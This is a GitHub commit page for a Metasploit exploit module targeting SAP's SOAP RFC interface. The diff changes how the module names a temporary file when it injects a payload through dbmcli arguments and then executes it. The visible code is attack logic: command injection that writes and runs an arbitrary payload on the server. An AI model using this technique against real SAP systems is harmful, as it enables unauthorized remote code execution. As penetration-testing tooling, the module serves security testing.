Skip to content

Commit f16c809

Browse files
committed
Rex::Text.rand_text_alphanumeric for file name
1 parent ff70967 commit f16c809

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/linux/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -72,24 +72,25 @@ def initialize
7272
end
7373

7474
def exploit
75+
file = Rex::Text.rand_text_alphanumeric(5)
7576
ip = rhost
76-
payload_ = create_payload(1)
77+
payload_ = create_payload(1,file)
7778
exec_command(ip,payload_)
78-
payload_ = create_payload(2)
79+
payload_ = create_payload(2,file)
7980
exec_command(ip,payload_)
8081
end
8182

82-
def create_payload(num)
83+
def create_payload(num, file)
8384
command = ""
8485
if datastore['OS'].downcase == "linux"
8586
if num == 1
86-
command = "-o /tmp/pwned.txt -n pwnie" + "\n!"
87+
command = "-o /tmp/" + file + " -n pwnie" + "\n!"
8788
tmp_ = payload.encoded.gsub(" ","\t")
8889
tmp__ = tmp_.gsub("&","&")
8990
command << tmp__.gsub("<","&lt;")
9091
command << "\n"
9192
end
92-
command = "-ic /tmp/pwned.txt" if num == 2
93+
command = "-ic /tmp/" + file if num == 2
9394
end
9495
data = '<?xml version="1.0" encoding="utf-8" ?>' + "\r\n"
9596
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' + "\r\n"

0 commit comments

Comments
 (0)